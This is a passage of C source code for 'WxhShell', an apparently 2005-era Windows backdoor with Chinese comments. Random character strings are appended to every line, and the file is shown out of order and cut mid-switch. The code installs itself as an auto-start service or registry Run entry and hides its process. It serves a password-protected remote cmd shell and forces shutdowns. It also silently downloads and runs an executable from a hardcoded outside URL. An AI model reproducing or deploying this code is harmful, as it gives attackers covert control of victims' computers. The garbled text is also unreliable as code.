  // 关机 d'p@[1/  
  case 'd': { \p!mX|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #:nds,   
    if(Boot(SHUTDOWN)) ~Yl%{1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AHTQF#U^  
    else { +Z/aG k;  
    closesocket(wsh); Z'y:r2{ql  
    ExitThread(0); 1Gk'f?dw  
    } K<"Y4O#]  
    break; L(3} H,t  
    } WO{9S%ck  
  // 获取shell /Y*6mQ:  
  case 's': { }U$p[Gi<  
    CmdShell(wsh); \@*D;-b  
    closesocket(wsh); <{A|Xs  
    ExitThread(0); qF4pTQf  
    break; P!lTK   
  } *7!*kq g!u  
  // 退出 SWMi+)  
  case 'x': {  ?r(Bu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YN5p@b=FX  
    CloseIt(wsh); tfq; KR  
    break; Xq.G vZS`  
    } JJE0q5[  
  // 离开 x '`L( C  
  case 'q': { l|~SVk|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c!>",rce  
    closesocket(wsh); Ih5F\eM  
    WSACleanup(); <!.Qn Y  
    exit(1); t[?O*>  
    break; &io*pmUm6  
        } >PK\bLEo  
  } (= ,w$  
  } ttC+`0+H  
:TN^}RML  
  // 提示信息 @;H1s4OZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b>"=kN/  
} $sR-J'EE!  
  } <)$b=z  
$4*k=+wS  
  return; %y}l^P5z  
} NHq*&xy  
?g #4&z.  
// shell模块句柄 0'.7dzz  
int CmdShell(SOCKET sock) >\c"U1%E  
{ Cz1o@ rt  
STARTUPINFO si; !^<%RT9@|  
ZeroMemory(&si,sizeof(si)); d 1bx5U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dJwE/s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gw);b)&mx  
PROCESS_INFORMATION ProcessInfo; $6p|}<u  
char cmdline[]="cmd"; 5(sWV:_2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L=."<,\  
  return 0; 0"to]=  
} |=9=a@l]P  
-v7O*xm"  
// 自身启动模式 i VIpe  
int StartFromService(void) "G3zl{?GP  
{ woCFkO;'O  
typedef struct 51lN,VVD  
{ C7lBK<gQ  
  DWORD ExitStatus;  zL,B?  
  DWORD PebBaseAddress; (77EZ07%  
  DWORD AffinityMask; C%y!)v_x  
  DWORD BasePriority; P<WCW3!JZ  
  ULONG UniqueProcessId; dNMz(~A[Y  
  ULONG InheritedFromUniqueProcessId; @on\@~Ug  
}   PROCESS_BASIC_INFORMATION; #fR~ 7 KR  
p:n.:GZ=y  
PROCNTQSIP NtQueryInformationProcess; BE]PM nI  
J(JqusQd !  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =(Ll}V,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M:? :EJ  
j >wT-s  
  HANDLE             hProcess; YzD6S*wb  
  PROCESS_BASIC_INFORMATION pbi; xfyUT^  
<(U :v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &7CAxU;i3  
  if(NULL == hInst ) return 0; 'U" ub2j  
9M&uQccY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m"CsJ'\ors  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZdP2}w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 09psqXU@I  
LT ZoO9O  
  if (!NtQueryInformationProcess) return 0; jZ8#86/#{  
b\l +S2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /?,c4K,ap  
  if(!hProcess) return 0; iEJY[P1  
(IY= x{b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZV; lr Vv  
;ESuj'*t  
  CloseHandle(hProcess); JWuF ?<+k  
~A5MzrvIO2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *mgK^9<  
if(hProcess==NULL) return 0; rfdT0xfcU  
i9FHEu_  
HMODULE hMod; Xt!%W    
char procName[255]; ;P{HePs=)  
unsigned long cbNeeded; G/*0*&fW  
X~ AE??  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +4,v. B@  
f.4m6"1  
  CloseHandle(hProcess); z&6TdwhV  
:$`"M#vMX  
if(strstr(procName,"services")) return 1; // 以服务启动 0m|$ vb  
l }i .  
  return 0; // 注册表启动 JY|f zL  
} 3\xvy{r  
?>_[hZ  
// 主模块 )K4A-9pC  
int StartWxhshell(LPSTR lpCmdLine) 2^}E!(<  
{ MMpGI^x!-X  
  SOCKET wsl; L %[om c?  
BOOL val=TRUE; 1%?J l~M  
  int port=0; :CQ-?mT^LA  
  struct sockaddr_in door; EMDsi2  
/idQfff  
  if(wscfg.ws_autoins) Install(); ="$9 <wt  
2\Vzfca  
port=atoi(lpCmdLine); jORU+g  
i U^tv_1  
if(port<=0) port=wscfg.ws_port; <4gT8 kQ$x  
.."=  
  WSADATA data; D=w5Lks  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _oB!-#  
w+P?JR!)+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5/:BtlFx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6dRxfbL  
  door.sin_family = AF_INET; +[MzF EE[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :<    
  door.sin_port = htons(port); poqcoSL"}  
<$^76=x,8P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >Jl(9)e  
closesocket(wsl); R89 ;<,Ie  
return 1; rpk )i:k\  
} H5f>Q0jq  
ohFUy}y  
  if(listen(wsl,2) == INVALID_SOCKET) { i)Hjmf3  
closesocket(wsl); v'"0Ya  
return 1; O<&8 gk~  
} n5Ad@Bg  
  Wxhshell(wsl); l .8@F  
  WSACleanup(); <<zYF.9L]  
hrpql_9.  
return 0; J1waiOh  
9oly=&lJ  
} 6]=$c<.&  
X~DI d  
// 以NT服务方式启动 [ 7W@/qqv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nu1s  
{ WUQlAsme  
DWORD   status = 0; [NE:$@  
  DWORD   specificError = 0xfffffff; _S43_hW  
_b+=q:$/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jY>BU&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sx;7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G@Z,Hbgm  
  serviceStatus.dwWin32ExitCode     = 0;  aKkG[q N  
  serviceStatus.dwServiceSpecificExitCode = 0; >4gGb)  
  serviceStatus.dwCheckPoint       = 0; Y)kO"  
  serviceStatus.dwWaitHint       = 0; :G/T{87H  
,&Iw5E[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k_p4 f%9  
  if (hServiceStatusHandle==0) return; xef@-%mcoy  
50 :gk*hy  
status = GetLastError(); ;aJBx  
  if (status!=NO_ERROR) S&y(A0M  
{ iw!kV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~_SoP  
    serviceStatus.dwCheckPoint       = 0; H"_ZqEg  
    serviceStatus.dwWaitHint       = 0; :zXkQQD8`  
    serviceStatus.dwWin32ExitCode     = status; v(+9&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1l$c*STK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Ogt{t  
    return; #&JhA2]q  
  } yQA6w%  
#HjiE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Byx8`Cx1  
  serviceStatus.dwCheckPoint       = 0; G j6(ycaS  
  serviceStatus.dwWaitHint       = 0; lkNaSz[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mM| 313  
} 3snr-)   
%?gh;? GD  
// 处理NT服务事件,比如:启动、停止 <!ewb=[_$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3jMHe~.E<  
{ ')k n  
switch(fdwControl) qJ).;S{AAt  
{ r+T@WvS%W  
case SERVICE_CONTROL_STOP: |5o0N8!b[  
  serviceStatus.dwWin32ExitCode = 0; ZT>?[`Vgc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &F4khga`^:  
  serviceStatus.dwCheckPoint   = 0; V) #vvnq  
  serviceStatus.dwWaitHint     = 0; bL: !3|M  
  { g4(vgWOW`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pIKQx5;  
  } p<5ED\;N;  
  return; XG]ltSOy  
case SERVICE_CONTROL_PAUSE: M=Y}w?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DH(Q md  
  break; V=)0{7-9  
case SERVICE_CONTROL_CONTINUE: )24c(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t2)S61Vr  
  break; Q{hXP*5  
case SERVICE_CONTROL_INTERROGATE: 1bW[RK;GE  
  break; =|)W#x9=  
}; N# o" W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DA)mkp  
} <ob+Ano$  
t{\,vI  
// 标准应用程序主函数 {ZiZ$itf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9C?;'  
{ ZeVb< g  
CRK%%;=>  
// 获取操作系统版本 GfEg][f  
OsIsNt=GetOsVer(); f9A^0A?c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )sWC5\  
fv1pA+zN[  
  // 从命令行安装 QLx]%E\  
  if(strpbrk(lpCmdLine,"iI")) Install(); *82f {t]  
gv7(-I  
  // 下载执行文件 oLJP@J  
if(wscfg.ws_downexe) { t@K N+ C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (E'f'g  
  WinExec(wscfg.ws_filenam,SW_HIDE); FX+;azE7  
} Tv d=EO  
YQU #aOl  
if(!OsIsNt) { qT( 3M9!  
// 如果时win9x,隐藏进程并且设置为注册表启动 y#[PQ T  
HideProc(); mlolSD;7  
StartWxhshell(lpCmdLine); *], ]E;  
} _1D'9!+   
else o<\CA[   
  if(StartFromService()) Vz$X0C=W;H  
  // 以服务方式启动 yFp8 >  
  StartServiceCtrlDispatcher(DispatchTable); jl# )CEx  
else &yFt@g]  
  // 普通方式启动 ~(2G7x)  
  StartWxhshell(lpCmdLine); &"vh=Z-  
"Dbjp5_  
return 0; [C@0&[[  
} oM`[&m.,  
s`2Hf&%aZJ  
dpHK~n j\_  
W~ 6ii\  
=========================================== ({/@=e x*  
Z-(Vfp4  
y}NBJ  
O=wA/T=w?  
vM5u]u!  
}gY:VDW  
" !oTF2Q+C  
9p ;)s  
#include <stdio.h> S^}@X?v  
#include <string.h> $<jI<vD+:  
#include <windows.h> /aa'ryl_%  
#include <winsock2.h> p9*#{~   
#include <winsvc.h> !(=bH"P  
#include <urlmon.h> \M4/?<g  
4%#C _pE9  
#pragma comment (lib, "Ws2_32.lib") $i@~$m7d-  
#pragma comment (lib, "urlmon.lib") ^cO^3=  
D]nVhOg|  
#define MAX_USER   100 // 最大客户端连接数 S:qML]RO  
#define BUF_SOCK   200 // sock buffer o,a 3J:j]  
#define KEY_BUFF   255 // 输入 buffer SWujj,-[  
B|#*I[4`w@  
#define REBOOT     0   // 重启 `$|!h-"  
#define SHUTDOWN   1   // 关机 ;74hOHDS  
Snx_NH#tA  
#define DEF_PORT   5000 // 监听端口 31b9pi}nf  
eup#.#J  
#define REG_LEN     16   // 注册表键长度 ax7]>Z=%d"  
#define SVC_LEN     80   // NT服务名长度 YKbR#DC\  
"T4Z#t  
// 从dll定义API Fxwe,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lxTW1kr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A!}Wpw%(/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SJhcmx+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F5Tah{  
U#v??Sl  
// wxhshell配置信息 Q5'DV!0aSv  
struct WSCFG { :5?g<@  
  int ws_port;         // 监听端口 hz8Y2Ew  
  char ws_passstr[REG_LEN]; // 口令 BR5r K  
  int ws_autoins;       // 安装标记, 1=yes 0=no 56(S[  
  char ws_regname[REG_LEN]; // 注册表键名 v*}r<} j  
  char ws_svcname[REG_LEN]; // 服务名 o$I% 1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xcO Si>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F$Q( 2:w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VZNMom,Wr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H:x=v4NgsU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mjUln8Jc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E.kGBA;a?  
f,Vj8@p)x  
}; l;$HGoJ  
_ 1[5~Pnh  
// default Wxhshell configuration j`1% a]Bwc  
struct WSCFG wscfg={DEF_PORT, fw@n[u{~  
    "xuhuanlingzhe", [@MV[$W5  
    1, Ij>IL!  
    "Wxhshell", F8S -H"  
    "Wxhshell", Q/rOIHiI  
            "WxhShell Service", H)S&sx#q]  
    "Wrsky Windows CmdShell Service", } y@pAeS,  
    "Please Input Your Password: ", 9:N@+;|T  
  1, e_6VPVa  
  "http://www.wrsky.com/wxhshell.exe", R%iyNK,  
  "Wxhshell.exe" #|76dU  
    }; ML?%s`   
8/X#thG  
// 消息定义模块 Y3G$(+i8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >$h*1/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -MZ LkSU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <oG+=h  
char *msg_ws_ext="\n\rExit."; \"BoTi'2!  
char *msg_ws_end="\n\rQuit."; a]^hcKo4  
char *msg_ws_boot="\n\rReboot..."; Z+h^ ie"g  
char *msg_ws_poff="\n\rShutdown..."; .ky((  
char *msg_ws_down="\n\rSave to "; $@kGbf~k  
=pQA!u]QE  
char *msg_ws_err="\n\rErr!"; '3B`4W,  
char *msg_ws_ok="\n\rOK!"; ~`M>&E@Y_/  
]O2ku^yM  
char ExeFile[MAX_PATH]; ZzET8?8  
int nUser = 0; ,Oojh;P_  
HANDLE handles[MAX_USER]; "TB4w2?=  
int OsIsNt; "5*n(S{ks  
?eD,\G  
SERVICE_STATUS       serviceStatus; 5^lroC-(x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w8E6)wF=7  
rJi;"xF8  
// 函数声明 ncS.~F  
int Install(void); VXEA.Mko  
int Uninstall(void); VP^Yph 8R  
int DownloadFile(char *sURL, SOCKET wsh); _[}r2,e  
int Boot(int flag); [v$_BS#u^3  
void HideProc(void); EacqQFErl  
int GetOsVer(void); $P#Cf&R  
int Wxhshell(SOCKET wsl); C 9IKX  
void TalkWithClient(void *cs); yGl (QLk  
int CmdShell(SOCKET sock); ;!U`GN,tH  
int StartFromService(void); H'68K8i0  
int StartWxhshell(LPSTR lpCmdLine); MIo5Y`T  
lk8g2H ,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `M?C(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]eA<  
X51pRP $R  
// 数据结构和表定义 ='f<_FD  
SERVICE_TABLE_ENTRY DispatchTable[] = AD$k`Cj  
{ 41 sClC"  
{wscfg.ws_svcname, NTServiceMain}, !Irmc*;QE  
{NULL, NULL} .m_yx{FZ=  
}; I,dH\]^h=  
]|g{{PWH  
// 自我安装 J0xOB;rd  
int Install(void) O[[:3!6q  
{ \ F=w~ $)  
  char svExeFile[MAX_PATH]; AkdONKO8{  
  HKEY key; <-uE pF  
  strcpy(svExeFile,ExeFile); '/+l\.z"&  
WHxq-&=  
// 如果是win9x系统,修改注册表设为自启动 3c] oU1GfF  
if(!OsIsNt) { \M^L'Mkj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8m Tjf Br  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^S!^$d*  
  RegCloseKey(key); q,-bw2   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F`,XB[}2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >*rsRR  
  RegCloseKey(key); (!kOM% 3{  
  return 0; [G:wPp.y  
    } |,CWk|G  
  } *44^M{ti<  
} w^tNYN,i  
else { _ +Ww1 f  
}{;m:Iia_  
// 如果是NT以上系统,安装为系统服务 FEgM4m.(G<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +@D [%l|  
if (schSCManager!=0) E>~DlL%  
{ Dg~r%F  
  SC_HANDLE schService = CreateService }R5>ja0  
  ( @dE|UZ=(  
  schSCManager, yQb^]|XG  
  wscfg.ws_svcname, bTB/M=M  
  wscfg.ws_svcdisp, 3~H_UGw  
  SERVICE_ALL_ACCESS, ]~~PD?jh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0/?V _  
  SERVICE_AUTO_START, Aa t _5p  
  SERVICE_ERROR_NORMAL, ~PYMtg=i  
  svExeFile, jSVIO v:  
  NULL, -U;2 b_  
  NULL, dr3#?%  
  NULL, mk?&`_X1  
  NULL, (Qmpz  
  NULL Dp|y&x!  
  ); 4:<74B  
  if (schService!=0) 3]DUUXg$  
  { R}lS@w1  
  CloseServiceHandle(schService); AcV 2l  
  CloseServiceHandle(schSCManager); 9`kxyh</  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j4H]HGHv  
  strcat(svExeFile,wscfg.ws_svcname); ]pi"M 3f_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *gMo(-tN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !4zSE,1  
  RegCloseKey(key); T+p ?VngF  
  return 0; MKIX(r( |  
    } C5mq@$6  
  } Hq'mv_}qG  
  CloseServiceHandle(schSCManager); [5>f{L!<T<  
} e]-bB#-A  
}  GZ.Xx  
X5i?B b.  
return 1; z0[_5Cm/  
} Y?G9d6]Lk6  
&u) R+7bl,  
// 自我卸载 5e tbJk  
int Uninstall(void) vAZc.=+ >  
{ Do-~-d4  
  HKEY key; 4D(5WJ&  
h:{rjXK  
if(!OsIsNt) { Tjba @^T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A/eZnsk  
  RegDeleteValue(key,wscfg.ws_regname); .$nQD.X  
  RegCloseKey(key); f5p>oXo4b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5~GHAi  
  RegDeleteValue(key,wscfg.ws_regname); ~)Z{ Yj9)S  
  RegCloseKey(key); .bcoH  
  return 0; F*" "n  
  } t[$C r;  
} z|,YO6(L  
} R+vago:  
else { ^2C)Wk$  
B!:%^S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o@SL0H-6|  
if (schSCManager!=0) .W4P/P w'  
{ O  |45r   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s|*0cK!K^  
  if (schService!=0) PuyJ:#a  
  { dw'&Av' |E  
  if(DeleteService(schService)!=0) { (I(?oCQ  
  CloseServiceHandle(schService); ^d2#J  
  CloseServiceHandle(schSCManager); zx<:1nF,]  
  return 0; SrlTwcD  
  } ]Rah,4?9f  
  CloseServiceHandle(schService); U$zd3a_(  
  } 3<Qe'd ^  
  CloseServiceHandle(schSCManager); %t&   
} k@[\ C`P  
} n=t50/jV3=  
|qUi9#NUo  
return 1; 25e*W>SLw  
} OH.lAF4E(  
'OrGt_U  
// 从指定url下载文件 Bi}uL)~rD  
int DownloadFile(char *sURL, SOCKET wsh) DxuT23. (  
{ HW|5'opF  
  HRESULT hr; z;T_%?u  
char seps[]= "/"; XPJsnu  
char *token; V { #8+  
char *file; G;RFY!o  
char myURL[MAX_PATH]; m |Isi  
char myFILE[MAX_PATH]; An0Dq jR  
+ Cf"rN  
strcpy(myURL,sURL); B{}<DP.  
  token=strtok(myURL,seps); 1f 3c3PJ  
  while(token!=NULL) [)efh9P*  
  { S($8_u$U  
    file=token; Oy(f h%k#  
  token=strtok(NULL,seps); <Z b~tYp  
  } eyM<#3\\S  
/x2-$a:<  
GetCurrentDirectory(MAX_PATH,myFILE); :%&|5Ytb  
strcat(myFILE, "\\"); )P13AfK  
strcat(myFILE, file); j p"hbV  
  send(wsh,myFILE,strlen(myFILE),0); \kN?7b^  
send(wsh,"...",3,0); d_7v1)j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "2l$}G  
  if(hr==S_OK) "Zh3,  
return 0; P8& BtA  
else |DUWB;  
return 1; uU$YN-  
pW[KC!  
} [P:+n7= ,l  
io&FW!J.  
// 系统电源模块 JxP&znng  
int Boot(int flag) dG8_3T}i  
{ ww? AGd  
  HANDLE hToken; j\hI, mc  
  TOKEN_PRIVILEGES tkp; d76nyQKK  
a:v5(@8  
  if(OsIsNt) { ` x|=vu-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G'#f*) f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b((> ?=hh  
    tkp.PrivilegeCount = 1; Jn:h;|9w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S4ys)!V1V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mJU1n  
if(flag==REBOOT) { 4Tdp;n\F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mg"e$m  
  return 0; @PL.7FM<v  
} M)qb6aD0  
else { W(#u^,$e[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c1Rn1M,2k  
  return 0; ^-^ii 3G`  
} FF5|qCV/z  
  } te[#FF3{  
  else { m;4qs#qCg?  
if(flag==REBOOT) { n^lr7(!6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) luWr.<1  
  return 0; ,=IGqw  
} 7g7[a/Bts  
else { GQH15_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .&i_~?1[N  
  return 0; @sdHB ./  
} +0l-zd\  
} Q\W?qB_  
{*PbD;/f  
return 1; WGwIc7  
} 1IPRI<1U  
'< .gKo  
// win9x进程隐藏模块 {j8M78}3  
void HideProc(void) [4 v1 N  
{ yM2}J s C  
cjp~I/U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +HT?> k  
  if ( hKernel != NULL ) H$ZLtPv5  
  { 91#rP|88;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;5 p;i 8m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wJc`^gj  
    FreeLibrary(hKernel); :.P{}\/  
  } @ogj -ol&  
}&LVD$Bz  
return; R>D[I.  
} R wTzS;  
<kCOg8<y :  
// 获取操作系统版本 @P )2ZGG  
int GetOsVer(void) Di"Tv<RlQ  
{ koa-sy)#L  
  OSVERSIONINFO winfo; 8l l}"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q o6~)Aws  
  GetVersionEx(&winfo); &_$0lI DQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r_hs_n!6  
  return 1; Nu;?})tF  
  else Ya `$.D  
  return 0; Bra}HjHO  
} #LR.1zZ  
()Q#@?c~  
// 客户端句柄模块 d:Oo5t)MN  
int Wxhshell(SOCKET wsl) F};T<#  
{ >{)\GK0i 7  
  SOCKET wsh; _Ie?{5$ng`  
  struct sockaddr_in client; }nRTw2-z  
  DWORD myID; Cq -URih  
Yosfk\D  
  while(nUser<MAX_USER) D>-srzw  
{ {.])' ~[U  
  int nSize=sizeof(client); 4:= VHd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N9#5 P!  
  if(wsh==INVALID_SOCKET) return 1; `>- 56 %  
&. MUSqo9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); " ?Ux\)*  
if(handles[nUser]==0) rI OKCL?  
  closesocket(wsh); >a;LBQ0  
else V-(*{/^"  
  nUser++; R; ui 4wg6  
  } pr[V*C/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |'``pq/}_  
0g2rajS  
  return 0; rvacCwI  
} S.Q:O{]  
vScEQS$>  
// 关闭 socket j 8)*'T  
void CloseIt(SOCKET wsh) mM r$~^P:  
{ i#aKW'  
closesocket(wsh); 1k]L,CX  
nUser--; :PK2! 0nK  
ExitThread(0); vm7ag 7@O  
} M.\XG}RR  
h$XoR0  
// 客户端请求句柄 DX^8w?t  
void TalkWithClient(void *cs) -,+~W#n  
{ :NL[NbQYt  
0 ;].q*|#  
  SOCKET wsh=(SOCKET)cs; :Q,~Nw>  
  char pwd[SVC_LEN]; P!SsMo6n  
  char cmd[KEY_BUFF]; Y>T<Qn^D  
char chr[1]; }G "EdhSl  
int i,j; lcM  
I/%L,XyRI  
  while (nUser < MAX_USER) { _F(Np\%_  
C[';B)a  
if(wscfg.ws_passstr) { 9{}"tk5$h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 86eaX+F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )%b 5uZ  
  //ZeroMemory(pwd,KEY_BUFF); H& $M/`  
      i=0; wv`ar>qVL  
  while(i<SVC_LEN) { MJ$.ST  
4s9.")G  
  // 设置超时 J7sH]  
  fd_set FdRead; A9KPU:  
  struct timeval TimeOut; ;<*USS6X  
  FD_ZERO(&FdRead); 505ejO|  
  FD_SET(wsh,&FdRead); gb4$W@N7V  
  TimeOut.tv_sec=8; K,6{c^qf  
  TimeOut.tv_usec=0; ;Ea8>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )H`V\ H[0P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); da~_(giD*  
&^w "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DZ1.Bm0  
  pwd=chr[0]; K%_UNivN  
  if(chr[0]==0xd || chr[0]==0xa) { 89j:YfA=v  
  pwd=0; *7=`]w5k1  
  break; `e`DSl D>  
  } l8J2Xd @   
  i++; ?p/}eRgi  
    } pN_%>v"o  
,)N/2M\B-  
  // 如果是非法用户,关闭 socket 9KB}?~Nx4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x}O,xquY  
} .beqfcj"  
L0I |V[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L7nG5i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >$yA ,N  
?Q$a@)x#  
while(1) { V2xvuDHI  
c<lEFk!g  
  ZeroMemory(cmd,KEY_BUFF); R^=v&c{@  
O,-NzGs  
      // 自动支持客户端 telnet标准   Um4DVg5  
  j=0; z,hBtq:-$  
  while(j<KEY_BUFF) { SSbx[<E3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uJlW$Oc:.  
  cmd[j]=chr[0]; rC]k'p2x  
  if(chr[0]==0xa || chr[0]==0xd) { f& \ Bs8la  
  cmd[j]=0; 717G CL@  
  break; *z#du*f[  
  } H:9G/Nev  
  j++; fYzP4  
    } 3TZ:  
A0RSNAM  
  // 下载文件 kwqY~@W  
  if(strstr(cmd,"http://")) { Ml;` *;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e ky1}  
  if(DownloadFile(cmd,wsh)) s[dIWYs#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?FUK_]  
  else @HSK[[?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C(h Td%  
  } Yh;(puhyA  
  else { `u R`O9)e  
q_ryW$/_  
    switch(cmd[0]) { ( ;^>G[  
  ]h&1|j1  
